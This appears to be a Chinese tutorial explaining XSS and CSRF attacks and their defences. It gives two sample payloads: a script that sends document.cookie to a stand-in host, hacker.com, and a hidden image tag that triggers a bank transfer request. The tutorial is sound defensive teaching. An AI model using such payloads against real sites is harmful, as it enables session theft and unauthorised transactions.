详解：XSS 攻击和 CSRF 攻击

一、先看看核心区别XSS偷你的身份-》在你的浏览器里面跑恶意JS 主动拿你的Cookie冒充你。CSRF借你的身份-》不偷你的Cookie而是利用浏览器自带Cookie 的属性骗网站替你做事。二、XSS 讲解1、核心本质网站没有过滤用户输入让黑客往页面植入了恶意JS。只要别人打开这个页面恶意代码就在用户的浏览器本地执行。2、简单例子帮你理解比如说一个网页的评论区黑客在评论区发了一段偷Cookie 的JS。你登陆了网页浏览器存了你的登录Cookie你点开了这条评论网站直接把黑客写的script原样渲染到页面上浏览器一看有script 直接在你电脑上运行代码读取document.cookie 就把你的登陆凭证发给黑客黑客拿着你的Cookie 就能登录你的账号。比如黑客在评论区发了script // 偷你的 cookie 发给黑客服务器 fetch(http://hacker.com/steal?cdocument.cookie) /script3、XSS 两大防御HTML 转义把 转义成普通字符让核心不让恶意代码变成可执行脚本Cookie 设 HttpOnly禁止 JS 读取document.cookie。注意只能防偷 Cookie防不了 XSS 代码执行还是能弹弹窗、篡改页面所以说还是不安全这里推荐使用HTML 转义。三、CSRF 讲解1、核心本质你登陆了A 网站没有退出然后你又点开恶意网站B。B 网站偷偷发一个请求到A 网站浏览器自动带上A 网站的Cookie。A 网站分不清是你手动操作还是恶意网站代发直接就执行了操作。2、简单例子帮你理解你登录了网银浏览器存了网银 Cookie你乱点链接进了一个垃圾网页垃圾网页藏了个隐藏图片 / 接口请求直接请求银行转账接口浏览器发请求时自动带上你的网银Cookie银行服务器看到 Cookie 是合法的直接转账成功。比如用户已登录银行网站此时访问了一个恶意页面页面中隐藏了一段代码img srchttps://bank.com/transfer?toAccount攻击者卡号money10000 styledisplay:none;为什么CSRF 不用偷Cookie 浏览器有个机制访问某域名时自动带上该域名下所有 Cookie不用黑客手动拿。3、CSRF 防御机制第一种CSRF Token最常用流程后端给每个用户生成唯一随机 Token藏在页面 meta / 隐藏表单里正常用户发请求必须带上这个 Token后端校验 Token 对不对不对直接拒绝。为什么防得住同源策略恶意网站读不到你银行页面的内容拿不到 Token没有 Token伪造请求直接作废。第二种Cookie SameSite 属性SameSiteStrict彻底禁止跨站请求带 CookieSameSiteLax宽松模式普通链接允许表单 / 接口跨站不带 Cookie现代默认。直接从浏览器层面堵死「跨站自动带 Cookie」。第三种校验 Referer / Origin看请求是从哪个域名发过来的只允许自己官网域名的请求陌生来源直接拦截。四、小结XSS是往网站注入恶意JS偷你Cookie冒充你靠输入转义Cookie设HttpOnly防护。CSRF是利用浏览器自动带Cookie的特性恶意网站偷偷冒用你的身份发请求靠CSRF令牌、SameSite、校验请求来源防护。